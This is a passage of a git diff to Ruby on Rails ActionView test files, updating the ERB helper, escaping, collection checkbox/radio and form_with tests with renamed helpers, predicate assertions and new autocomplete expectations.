-      output = render_content "form_for(:staticpage, :url => {:controller => 'blah', :action => 'update'})", ""
+      routes = ActionDispatch::Routing::RouteSet.new
+      routes.draw do
+        get "/blah/update", to: "blah#update"
+      end
+      output = render_content "form_for(:staticpage, :url => {:controller => 'blah', :action => 'update'})", "", routes
       assert_match %r{<form.*action="/blah/update".*method="post">.*</form>}, output
     end
   end
diff --git a/actionview/test/template/erb/helper.rb b/actionview/test/template/erb/helper.rb
index bc1eedc15fb4b..3c2cca44229f4 100644
--- a/actionview/test/template/erb/helper.rb
+++ b/actionview/test/template/erb/helper.rb
@@ -1,7 +1,8 @@
+# frozen_string_literal: true
+
 module ERBTest
   class ViewContext
     include ActionView::Helpers::UrlHelper
-    include SharedTestRoutes.url_helpers
     include ActionView::Helpers::TagHelper
     include ActionView::Helpers::JavaScriptHelper
     include ActionView::Helpers::FormHelper
@@ -12,9 +13,25 @@ def protect_against_forgery?() false end
   end
 
   class BlockTestCase < ActiveSupport::TestCase
-    def render_content(start, inside)
-      template = block_helper(start, inside)
-      ActionView::Template::Handlers::ERB.erb_implementation.new(template).evaluate(ViewContext.new)
+    class Context < ActionView::Base
+    end
+
+    def render_content(start, inside, routes = nil)
+      routes ||= ActionDispatch::Routing::RouteSet.new.tap do |rs|
+        rs.draw { }
+      end
+
+      view = Class.new(Context)
+      view.include routes.url_helpers
+
+      ActionView::Template.new(
+        block_helper(start, inside),
+        "test#{rand}",
+        ActionView::Template::Handlers::ERB.new,
+        virtual_path: "partial",
+        format: :html,
+        locals: []
+      ).render(view.with_empty_template_cache.empty, {})
     end
 
     def block_helper(str, rest)
diff --git a/actionview/test/template/erb/tag_helper_test.rb b/actionview/test/template/erb/tag_helper_test.rb
index 84e328d8be14f..24a75929502da 100644
--- a/actionview/test/template/erb/tag_helper_test.rb
+++ b/actionview/test/template/erb/tag_helper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "template/erb/helper"
 
@@ -18,8 +20,8 @@ class TagHelperTest < BlockTestCase
     end
 
     test "percent equals works with form tags" do
-      expected_output = %r{<form.*action="foo".*method="post">.*hello*</form>}
-      assert_match expected_output, render_content("form_tag('foo')", "<%= 'hello' %>")
+      expected_output = %r{<form.*action="/foo".*method="post">.*hello*</form>}
+      assert_match expected_output, render_content("form_tag('/foo')", "<%= 'hello' %>")
     end
 
     test "percent equals works with fieldset tags" do
diff --git a/actionview/test/template/erb_util_test.rb b/actionview/test/template/erb_util_test.rb
index 4412ea37faca1..522c6259ee080 100644
--- a/actionview/test/template/erb_util_test.rb
+++ b/actionview/test/template/erb_util_test.rb
@@ -1,5 +1,8 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/json"
+require "active_support/core_ext/erb/util"
 
 class ErbUtilTest < ActiveSupport::TestCase
   include ERB::Util
@@ -10,9 +13,15 @@ class ErbUtilTest < ActiveSupport::TestCase
     end
   end
 
-  ERB::Util::JSON_ESCAPE.each do |given, expected|
+  {
+    "&" => '\u0026',
+    ">" => '\u003e',
+    "<" => '\u003c',
+    "\u2028" => '\u2028',
+    "\u2029" => '\u2029'
+  }.each do |given, expected|
     define_method "test_json_escape_#{expected.gsub(/\W/, '')}" do
-      assert_equal ERB::Util::JSON_ESCAPE[given], json_escape(given)
+      assert_equal expected, json_escape(given)
     end
   end
 
@@ -68,24 +77,24 @@ def test_json_escape_is_idempotent
 
   def test_json_escape_returns_unsafe_strings_when_passed_unsafe_strings
     value = json_escape("asdf")
-    assert !value.html_safe?
+    assert_not_predicate value, :html_safe?
   end
 
   def test_json_escape_returns_safe_strings_when_passed_safe_strings
     value = json_escape("asdf".html_safe)
-    assert value.html_safe?
+    assert_predicate value, :html_safe?
   end
 
   def test_html_escape_is_html_safe
     escaped = h("<p>")
     assert_equal "&lt;p&gt;", escaped
-    assert escaped.html_safe?
+    assert_predicate escaped, :html_safe?
   end
 
   def test_html_escape_passes_html_escape_unmodified
     escaped = h("<p>".html_safe)
     assert_equal "<p>", escaped
-    assert escaped.html_safe?
+    assert_predicate escaped, :html_safe?
   end
 
   def test_rest_in_ascii
@@ -100,13 +109,13 @@ def test_html_escape_once
     assert_equal " &#X27; &#x27; &#x03BB; &#X03bb; &quot; &#39; &lt; &gt; ", html_escape_once(" &#X27; &#x27; &#x03BB; &#X03bb; \" ' < > ")
   end
 
-  def test_html_escape_once_returns_unsafe_strings_when_passed_unsafe_strings
+  def test_html_escape_once_returns_safe_strings_when_passed_unsafe_strings
     value = html_escape_once("1 < 2 &amp; 3")
-    assert !value.html_safe?
+    assert_predicate value, :html_safe?
   end
 
   def test_html_escape_once_returns_safe_strings_when_passed_safe_strings
     value = html_escape_once("1 < 2 &amp; 3".html_safe)
-    assert value.html_safe?
+    assert_predicate value, :html_safe?
   end
 end
diff --git a/actionview/test/template/file_system_resolver_test.rb b/actionview/test/template/file_system_resolver_test.rb
new file mode 100644
index 0000000000000..aa03fdcb1383d
--- /dev/null
+++ b/actionview/test/template/file_system_resolver_test.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "template/resolver_shared_tests"
+
+class FileSystemResolverTest < ActiveSupport::TestCase
+  include ResolverSharedTests
+
+  def resolver
+    ActionView::FileSystemResolver.new(tmpdir)
+  end
+end
diff --git a/actionview/test/template/form_collections_helper_test.rb b/actionview/test/template/form_collections_helper_test.rb
index 6160524eb38ba..ec312a2d04562 100644
--- a/actionview/test/template/form_collections_helper_test.rb
+++ b/actionview/test/template/form_collections_helper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 Category = Struct.new(:id, :name)
@@ -8,11 +10,11 @@ def assert_no_select(selector, value = nil)
   end
 
   def with_collection_radio_buttons(*args, &block)
-    @output_buffer = collection_radio_buttons(*args, &block)
+    @rendered = collection_radio_buttons(*args, &block)
   end
 
-  def with_collection_check_boxes(*args, &block)
-    @output_buffer = collection_check_boxes(*args, &block)
+  def with_collection_checkboxes(*args, &block)
+    @rendered = collection_checkboxes(*args, &block)
   end
 
   # COLLECTION RADIO BUTTONS
@@ -37,10 +39,25 @@ def with_collection_check_boxes(*args, &block)
     assert_select "label[for=user_active_no]", "No"
   end
 
+  test "collection radio generates labels for non-English values correctly" do
+    with_collection_radio_buttons :user, :title, ["Го�подин", "Го�пожа"], :to_s, :to_s
+
+    assert_select "input[type=radio]#user_title_го�подин"
+    assert_select "label[for=user_title_го�подин]", "Го�подин"
+  end
+
   test "collection radio should sanitize collection values for labels correctly" do
     with_collection_radio_buttons :user, :name, ["$0.99", "$1.99"], :to_s, :to_s
-    assert_select "label[for=user_name_099]", "$0.99"
-    assert_select "label[for=user_name_199]", "$1.99"
+    assert_select "label[for=user_name_0_99]", "$0.99"
+    assert_select "label[for=user_name_1_99]", "$1.99"
+  end
+
+  test "collection radio correctly builds unique DOM IDs for float values" do
+    with_collection_radio_buttons :user, :name, [1.0, 10], :to_s, :to_s
+    assert_select "label[for=user_name_1_0]", "1.0"
+    assert_select "label[for=user_name_10]", "10"
+    assert_select 'input#user_name_1_0[type=radio][value="1.0"]'
+    assert_select 'input#user_name_10[type=radio][value="10"]'
   end
 
   test "collection radio accepts checked item" do
@@ -84,15 +101,15 @@ def with_collection_check_boxes(*args, &block)
     assert_no_select "input[type=radio][value=false][readonly=readonly]"
   end
 
-  test "collection radio accepts html options as input" do
+  test "collection radio accepts HTML options as input" do
     collection = [[1, true], [0, false]]
-    with_collection_radio_buttons :user, :active, collection, :last, :first, {}, class: "special-radio"
+    with_collection_radio_buttons :user, :active, collection, :last, :first, {}, { class: "special-radio" }
 
     assert_select "input[type=radio][value=true].special-radio#user_active_true"
     assert_select "input[type=radio][value=false].special-radio#user_active_false"
   end
 
-  test "collection radio accepts html options as the last element of array" do
+  test "collection radio accepts HTML options as the last element of array" do
     collection = [[1, true, { class: "foo" }], [0, false, { class: "bar" }]]
     with_collection_radio_buttons :user, :active, collection, :second, :first
 
@@ -143,7 +160,7 @@ def with_collection_check_boxes(*args, &block)
     assert_select "label[for=user_active_false] + input#user_active_false[type=radio]"
   end
 
-  test "collection radio with block helpers accept extra html options" do
+  test "collection radio with block helpers accept extra HTML options" do
     with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
       b.label(class: "radio_button") + b.radio_button(class: "radio_button")
     end
@@ -180,7 +197,7 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection radio buttons with fields for" do
     collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
-    @output_buffer = fields_for(:post) do |p|
+    @rendered = fields_for(:post) do |p|
       p.collection_radio_buttons :category_id, collection, :id, :name
     end
 
@@ -201,21 +218,21 @@ def with_collection_check_boxes(*args, &block)
     collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
     with_collection_radio_buttons :user, :category_ids, collection, :id, :name
 
-    assert_select "input[type=hidden][name='user[category_ids]'][value='']", count: 1
+    assert_select "input[type=hidden][name='user[category_ids]'][value=''][autocomplete='off']", count: 1
   end
 
   test "collection radio buttons generates a hidden field using the given :name in :html_options" do
     collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
-    with_collection_radio_buttons :user, :category_ids, collection, :id, :name, {}, name: "user[other_category_ids]"
+    with_collection_radio_buttons :user, :category_ids, collection, :id, :name, {}, { name: "user[other_category_ids]" }
 
-    assert_select "input[type=hidden][name='user[other_category_ids]'][value='']", count: 1
+    assert_select "input[type=hidden][name='user[other_category_ids]'][value=''][autocomplete='off']", count: 1
   end
 
   test "collection radio buttons generates a hidden field with index if it was provided" do
     collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
     with_collection_radio_buttons :user, :category_ids, collection, :id, :name, index: 322
 
-    assert_select "input[type=hidden][name='user[322][category_ids]'][value='']", count: 1
+    assert_select "input[type=hidden][name='user[322][category_ids]'][value=''][autocomplete='off']", count: 1
   end
 
   test "collection radio buttons does not generate a hidden field if include_hidden option is false" do
@@ -235,7 +252,7 @@ def with_collection_check_boxes(*args, &block)
   # COLLECTION CHECK BOXES
   test "collection check boxes accepts a collection and generate a series of checkboxes for value method" do
     collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
-    with_collection_check_boxes :user, :category_ids, collection, :id, :name
+    with_collection_checkboxes :user, :category_ids, collection, :id, :name
 
     assert_select 'input#user_category_ids_1[type=checkbox][value="1"]'
     assert_select 'input#user_category_ids_2[type=checkbox][value="2"]'
@@ -243,63 +260,85 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection check boxes generates only one hidden field for the entire collection, to ensure something will be sent back to the server when posting an empty collection" do
     collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
-    with_collection_check_boxes :user, :category_ids, collection, :id, :name
+    with_collection_checkboxes :user, :category_ids, collection, :id, :name
 
-    assert_select "input[type=hidden][name='user[category_ids][]'][value='']", count: 1
+    assert_select "input[type=hidden][name='user[category_ids][]'][value=''][autocomplete='off']", count: 1
   end
 
   test "collection check boxes generates a hidden field using the given :name in :html_options" do
     collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
-    with_collection_check_boxes :user, :category_ids, collection, :id, :name, {}, name: "user[other_category_ids][]"
+    with_collection_checkboxes :user, :category_ids, collection, :id, :name, {}, { name: "user[other_category_ids][]" }
 
-    assert_select "input[type=hidden][name='user[other_category_ids][]'][value='']", count: 1
+    assert_select "input[type=hidden][name='user[other_category_ids][]'][value=''][autocomplete='off']", count: 1
+  end
+
+  test "collection check boxes generates a hidden field using the given :form in :html_options" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    with_collection_checkboxes :user, :category_ids, collection, :id, :name, {}, { form: "my_form" }
+
+    assert_select "input[type=hidden][value=''][autocomplete='off'][form='my_form']", count: 1
   end
 
   test "collection check boxes generates a hidden field with index if it was provided" do
     collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
-    with_collection_check_boxes :user, :category_ids, collection, :id, :name, index: 322
+    with_collection_checkboxes :user, :category_ids, collection, :id, :name, index: 322
 
-    assert_select "input[type=hidden][name='user[322][category_ids][]'][value='']", count: 1
+    assert_select "input[type=hidden][name='user[322][category_ids][]'][value=''][autocomplete='off']", count: 1
   end
 
   test "collection check boxes does not generate a hidden field if include_hidden option is false" do
     collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
-    with_collection_check_boxes :user, :category_ids, collection, :id, :name, include_hidden: false
+    with_collection_checkboxes :user, :category_ids, collection, :id, :name, include_hidden: false
 
     assert_select "input[type=hidden][name='user[category_ids][]'][value='']", count: 0
   end
 
   test "collection check boxes does not generate a hidden field if include_hidden option is false with key as string" do
     collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
-    with_collection_check_boxes :user, :category_ids, collection, :id, :name, "include_hidden" => false
+    with_collection_checkboxes :user, :category_ids, collection, :id, :name, "include_hidden" => false
 
     assert_select "input[type=hidden][name='user[category_ids][]'][value='']", count: 0
   end
 
   test "collection check boxes accepts a collection and generate a series of checkboxes with labels for label method" do
     collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
-    with_collection_check_boxes :user, :category_ids, collection, :id, :name
+    with_collection_checkboxes :user, :category_ids, collection, :id, :name
 
     assert_select "label[for=user_category_ids_1]", "Category 1"
     assert_select "label[for=user_category_ids_2]", "Category 2"
   end
 
   test "collection check boxes handles camelized collection values for labels correctly" do
-    with_collection_check_boxes :user, :active, ["Yes", "No"], :to_s, :to_s
+    with_collection_checkboxes :user, :active, ["Yes", "No"], :to_s, :to_s
 
     assert_select "label[for=user_active_yes]", "Yes"
     assert_select "label[for=user_active_no]", "No"
   end
 
   test "collection check box should sanitize collection values for labels correctly" do
-    with_collection_check_boxes :user, :name, ["$0.99", "$1.99"], :to_s, :to_s
-    assert_select "label[for=user_name_099]", "$0.99"
-    assert_select "label[for=user_name_199]", "$1.99"
+    with_collection_checkboxes :user, :name, ["$0.99", "$1.99"], :to_s, :to_s
+    assert_select "label[for=user_name_0_99]", "$0.99"
+    assert_select "label[for=user_name_1_99]", "$1.99"
+  end
+
+  test "collection check boxes correctly builds unique DOM IDs for float values" do
+    with_collection_checkboxes :user, :name, [1.0, 10], :to_s, :to_s
+    assert_select "label[for=user_name_1_0]", "1.0"
+    assert_select "label[for=user_name_10]", "10"
+    assert_select 'input#user_name_1_0[type=checkbox][value="1.0"]'
+    assert_select 'input#user_name_10[type=checkbox][value="10"]'
+  end
+
+  test "collection check boxes generates labels for non-English values correctly" do
+    with_collection_checkboxes :user, :title, ["Го�подин", "Го�пожа"], :to_s, :to_s
+
+    assert_select "input[type=checkbox]#user_title_го�подин"
+    assert_select "label[for=user_title_го�подин]", "Го�подин"
   end
 
-  test "collection check boxes accepts html options as the last element of array" do
+  test "collection check boxes accepts HTML options as the last element of array" do
     collection = [[1, "Category 1", { class: "foo" }], [2, "Category 2", { class: "bar" }]]
-    with_collection_check_boxes :user, :active, collection, :first, :second
+    with_collection_checkboxes :user, :active, collection, :first, :second
 
     assert_select 'input[type=checkbox][value="1"].foo'
     assert_select 'input[type=checkbox][value="2"].bar'
@@ -307,7 +346,7 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection check boxes propagates input id to the label for attribute" do
     collection = [[1, "Category 1", { id: "foo" }], [2, "Category 2", { id: "bar" }]]
-    with_collection_check_boxes :user, :active, collection, :first, :second
+    with_collection_checkboxes :user, :active, collection, :first, :second
 
     assert_select 'input[type=checkbox][value="1"]#foo'
     assert_select 'input[type=checkbox][value="2"]#bar'
@@ -318,17 +357,17 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection check boxes sets the label class defined inside the block" do
     collection = [[1, "Category 1", { class: "foo" }], [2, "Category 2", { class: "bar" }]]
-    with_collection_check_boxes :user, :active, collection, :second, :first do |b|
-      b.label(class: "collection_check_boxes")
+    with_collection_checkboxes :user, :active, collection, :second, :first do |b|
+      b.label(class: "collection_checkboxes")
     end
 
-    assert_select "label.collection_check_boxes[for=user_active_category_1]"
-    assert_select "label.collection_check_boxes[for=user_active_category_2]"
+    assert_select "label.collection_checkboxes[for=user_active_category_1]"
+    assert_select "label.collection_checkboxes[for=user_active_category_2]"
   end
 
   test "collection check boxes does not include the input class in the respective label" do
     collection = [[1, "Category 1", { class: "foo" }], [2, "Category 2", { class: "bar" }]]
-    with_collection_check_boxes :user, :active, collection, :second, :first
+    with_collection_checkboxes :user, :active, collection, :second, :first
 
     assert_no_select "label.foo[for=user_active_category_1]"
     assert_no_select "label.bar[for=user_active_category_2]"
@@ -336,7 +375,7 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection check boxes accepts selected values as :checked option" do
     collection = (1..3).map { |i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, checked: [1, 3]
+    with_collection_checkboxes :user, :category_ids, collection, :first, :last, checked: [1, 3]
 
     assert_select 'input[type=checkbox][value="1"][checked=checked]'
     assert_select 'input[type=checkbox][value="3"][checked=checked]'
@@ -345,7 +384,7 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection check boxes accepts selected string values as :checked option" do
     collection = (1..3).map { |i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, checked: ["1", "3"]
+    with_collection_checkboxes :user, :category_ids, collection, :first, :last, checked: ["1", "3"]
 
     assert_select 'input[type=checkbox][value="1"][checked=checked]'
     assert_select 'input[type=checkbox][value="3"][checked=checked]'
@@ -354,7 +393,7 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection check boxes accepts a single checked value" do
     collection = (1..3).map { |i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, checked: 3
+    with_collection_checkboxes :user, :category_ids, collection, :first, :last, checked: 3
 
     assert_select 'input[type=checkbox][value="3"][checked=checked]'
     assert_no_select 'input[type=checkbox][value="1"][checked=checked]'
@@ -365,8 +404,8 @@ def with_collection_check_boxes(*args, &block)
     user = Struct.new(:category_ids).new(2)
     collection = (1..3).map { |i| [i, "Category #{i}"] }
 
-    @output_buffer = fields_for(:user, user) do |p|
-      p.collection_check_boxes :category_ids, collection, :first, :last, checked: [1, 3]
+    @rendered = fields_for(:user, user) do |p|
+      p.collection_checkboxes :category_ids, collection, :first, :last, checked: [1, 3]
     end
 
     assert_select 'input[type=checkbox][value="1"][checked=checked]'
@@ -376,7 +415,7 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection check boxes accepts multiple disabled items" do
     collection = (1..3).map { |i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, disabled: [1, 3]
+    with_collection_checkboxes :user, :category_ids, collection, :first, :last, disabled: [1, 3]
 
     assert_select 'input[type=checkbox][value="1"][disabled=disabled]'
     assert_select 'input[type=checkbox][value="3"][disabled=disabled]'
@@ -385,7 +424,7 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection check boxes accepts single disabled item" do
     collection = (1..3).map { |i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, disabled: 1
+    with_collection_checkboxes :user, :category_ids, collection, :first, :last, disabled: 1
 
     assert_select 'input[type=checkbox][value="1"][disabled=disabled]'
     assert_no_select 'input[type=checkbox][value="3"][disabled=disabled]'
@@ -394,7 +433,7 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection check boxes accepts a proc to disabled items" do
     collection = (1..3).map { |i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, disabled: proc { |i| i.first == 1 }
+    with_collection_checkboxes :user, :category_ids, collection, :first, :last, disabled: proc { |i| i.first == 1 }
 
     assert_select 'input[type=checkbox][value="1"][disabled=disabled]'
     assert_no_select 'input[type=checkbox][value="3"][disabled=disabled]'
@@ -403,7 +442,7 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection check boxes accepts multiple readonly items" do
     collection = (1..3).map { |i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, readonly: [1, 3]
+    with_collection_checkboxes :user, :category_ids, collection, :first, :last, readonly: [1, 3]
 
     assert_select 'input[type=checkbox][value="1"][readonly=readonly]'
     assert_select 'input[type=checkbox][value="3"][readonly=readonly]'
@@ -412,7 +451,7 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection check boxes accepts single readonly item" do
     collection = (1..3).map { |i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, readonly: 1
+    with_collection_checkboxes :user, :category_ids, collection, :first, :last, readonly: 1
 
     assert_select 'input[type=checkbox][value="1"][readonly=readonly]'
     assert_no_select 'input[type=checkbox][value="3"][readonly=readonly]'
@@ -421,16 +460,16 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection check boxes accepts a proc to readonly items" do
     collection = (1..3).map { |i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, readonly: proc { |i| i.first == 1 }
+    with_collection_checkboxes :user, :category_ids, collection, :first, :last, readonly: proc { |i| i.first == 1 }
 
     assert_select 'input[type=checkbox][value="1"][readonly=readonly]'
     assert_no_select 'input[type=checkbox][value="3"][readonly=readonly]'
     assert_no_select 'input[type=checkbox][value="2"][readonly=readonly]'
   end
 
-  test "collection check boxes accepts html options" do
+  test "collection check boxes accepts HTML options" do
     collection = [[1, "Category 1"], [2, "Category 2"]]
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, {}, class: "check"
+    with_collection_checkboxes :user, :category_ids, collection, :first, :last, {}, { class: "check" }
 
     assert_select 'input.check[type=checkbox][value="1"]'
     assert_select 'input.check[type=checkbox][value="2"]'
@@ -438,8 +477,8 @@ def with_collection_check_boxes(*args, &block)
 
   test "collection check boxes with fields for" do
     collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
-    @output_buffer = fields_for(:post) do |p|
-      p.collection_check_boxes :category_ids, collection, :id, :name
+    @rendered = fields_for(:post) do |p|
+      p.collection_checkboxes :category_ids, collection, :id, :name
     end
 
     assert_select 'input#post_category_ids_1[type=checkbox][value="1"]'
@@ -450,15 +489,15 @@ def with_collection_check_boxes(*args, &block)
   end
 
   test "collection check boxes does not wrap input inside the label" do
-    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s
+    with_collection_checkboxes :user, :active, [true, false], :to_s, :to_s
 
     assert_select "input[type=checkbox] + label"
     assert_no_select "label input"
   end
 
   test "collection check boxes accepts a block to render the label as check box wrapper" do
-    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label { b.check_box }
+    with_collection_checkboxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label { b.checkbox }
     end
 
     assert_select "label[for=user_active_true] > input#user_active_true[type=checkbox]"
@@ -466,26 +505,26 @@ def with_collection_check_boxes(*args, &block)
   end
 
   test "collection check boxes accepts a block to change the order of label and check box" do
-    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label + b.check_box
+    with_collection_checkboxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label + b.checkbox
     end
 
     assert_select "label[for=user_active_true] + input#user_active_true[type=checkbox]"
     assert_select "label[for=user_active_false] + input#user_active_false[type=checkbox]"
   end
 
-  test "collection check boxes with block helpers accept extra html options" do
-    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label(class: "check_box") + b.check_box(class: "check_box")
+  test "collection check boxes with block helpers accept extra HTML options" do
+    with_collection_checkboxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(class: "checkbox") + b.checkbox(class: "checkbox")
     end
 
-    assert_select "label.check_box[for=user_active_true] + input#user_active_true.check_box[type=checkbox]"
-    assert_select "label.check_box[for=user_active_false] + input#user_active_false.check_box[type=checkbox]"
+    assert_select "label.checkbox[for=user_active_true] + input#user_active_true.checkbox[type=checkbox]"
+    assert_select "label.checkbox[for=user_active_false] + input#user_active_false.checkbox[type=checkbox]"
   end
 
   test "collection check boxes with block helpers allows access to current text and value" do
-    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label("data-value": b.value) { b.check_box + b.text }
+    with_collection_checkboxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label("data-value": b.value) { b.checkbox + b.text }
     end
 
     assert_select "label[for=user_active_true][data-value=true]", "true" do
@@ -497,8 +536,8 @@ def with_collection_check_boxes(*args, &block)
   end
 
   test "collection check boxes with block helpers allows access to the current object item in the collection to access extra properties" do
-    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label(class: b.object) { b.check_box + b.text }
+    with_collection_checkboxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(class: b.object) { b.checkbox + b.text }
     end
 
     assert_select "label.true[for=user_active_true]", "true" do
diff --git a/actionview/test/template/form_helper/form_with_test.rb b/actionview/test/template/form_helper/form_with_test.rb
index a4a2966ff91e6..0fdb3c390bcc9 100644
--- a/actionview/test/template/form_helper/form_with_test.rb
+++ b/actionview/test/template/form_helper/form_with_test.rb
@@ -1,8 +1,29 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_models"
 
 class FormWithTest < ActionView::TestCase
   include RenderERBUtils
+
+  setup do
+    @old_value = ActionView::Helpers::FormHelper.form_with_generates_ids
+    ActionView::Helpers::FormHelper.form_with_generates_ids = true
+  end
+
+  teardown do
+    ActionView::Helpers::FormHelper.form_with_generates_ids = @old_value
+  end
+
+  private
+    def with_default_enforce_utf8(value)
+      old_value = ActionView::Helpers::FormTagHelper.default_enforce_utf8
+      ActionView::Helpers::FormTagHelper.default_enforce_utf8 = value
+
+      yield
+    ensure
+      ActionView::Helpers::FormTagHelper.default_enforce_utf8 = old_value
+    end
 end
 
 class FormWithActsLikeFormTagTest < FormWithTest
@@ -16,13 +37,13 @@ def hidden_fields(options = {})
     method = options[:method]
     skip_enforcing_utf8 = options.fetch(:skip_enforcing_utf8, false)
 
-    "".tap do |txt|
+    (+"").tap do |txt|
       unless skip_enforcing_utf8
-        txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+        txt << %{<input name="utf8" type="hidden" value="&#x2713;" autocomplete="off" />}
       end
 
       if method && !%w(get post).include?(method.to_s)
-        txt << %{<input name="_method" type="hidden" value="#{method}" />}
+        txt << %{<input name="_method" type="hidden" value="#{method}" autocomplete="off" />}
       end
     end
   end
@@ -32,7 +53,7 @@ def form_text(action = "http://www.example.com", local: false, **options)
 
     method = method.to_s == "get" ? "get" : "post"
 
-    txt =  %{<form accept-charset="UTF-8" action="#{action}"}
+    txt =  +%{<form accept-charset="UTF-8"} + (action ? %{ action="#{action}"} : "")
     txt << %{ enctype="multipart/form-data"} if enctype
     txt << %{ data-remote="true"} unless local
     txt << %{ class="#{html_class}"} if html_class
@@ -41,7 +62,7 @@ def form_text(action = "http://www.example.com", local: false, **options)
   end
 
   def whole_form(action = "http://www.example.com", options = {})
-    out = form_text(action, options) + hidden_fields(options)
+    out = form_text(action, **options) + hidden_fields(options)
 
     if block_given?
       out << yield << "</form>"
@@ -86,6 +107,22 @@ def test_form_with_with_method_delete
     assert_dom_equal expected, actual
   end
 
+  def test_form_with_false_url
+    actual = form_with(url: false)
+
+    expected = whole_form(false)
+
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_with_false_action
+    actual = form_with(html: { action: false })
+
+    expected = whole_form(false)
+
+    assert_dom_equal expected, actual
+  end
+
   def test_form_with_with_local_true
     actual = form_with(local: true)
 
@@ -97,40 +134,58 @@ def test_form_with_skip_enforcing_utf8_true
     actual = form_with(skip_enforcing_utf8: true)
     expected = whole_form("http://www.example.com", skip_enforcing_utf8: true)
     assert_dom_equal expected, actual
-    assert actual.html_safe?
+    assert_predicate actual, :html_safe?
+  end
+
+  def test_form_with_default_enforce_utf8_false
+    with_default_enforce_utf8 false do
+      actual = form_with
+      expected = whole_form("http://www.example.com", skip_enforcing_utf8: true)
+      assert_dom_equal expected, actual
+      assert_predicate actual, :html_safe?
+    end
+  end
+
+  def test_form_with_default_enforce_utf8_true
+    with_default_enforce_utf8 true do
+      actual = form_with
+      expected = whole_form("http://www.example.com", skip_enforcing_utf8: false)
+      assert_dom_equal expected, actual
+      assert_predicate actual, :html_safe?
+    end
   end
 
   def test_form_with_with_block_in_erb
-    output_buffer = render_erb("<%= form_with(url: 'http://www.example.com') do %>Hello world!<% end %>")
+    @rendered = render_erb("<%= form_with(url: 'http://www.example.com') do %>Hello world!<% end %>")
 
     expected = whole_form { "Hello world!" }
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_block_and_method_in_erb
-    output_buffer = render_erb("<%= form_with(url: 'http://www.example.com', method: :put) do %>Hello world!<% end %>")
+    @rendered = render_erb("<%= form_with(url: 'http://www.example.com', method: :put) do %>Hello world!<% end %>")
 
     expected = whole_form("http://www.example.com", method: "put") do
       "Hello world!"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_block_in_erb_and_local_true
-    output_buffer = render_erb("<%= form_with(url: 'http://www.example.com', local: true) do %>Hello world!<% end %>")
+    @rendered = render_erb("<%= form_with(url: 'http://www.example.com', local: true) do %>Hello world!<% end %>")
 
     expected = whole_form("http://www.example.com", local: true) do
       "Hello world!"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 end
 
 class FormWithActsLikeFormForTest < FormWithTest
-  def form_with(*)
-    @output_buffer = super
+  def form_with(*, **)
+    @rendered = super
   end
 
   teardown do
@@ -179,6 +234,9 @@ def form_with(*)
           submit: "Save changes",
           another_post: {
             update: "Update your %{model}"
+          },
+          "blog/post": {
+            update: "Update your %{model}"
           }
         }
       }
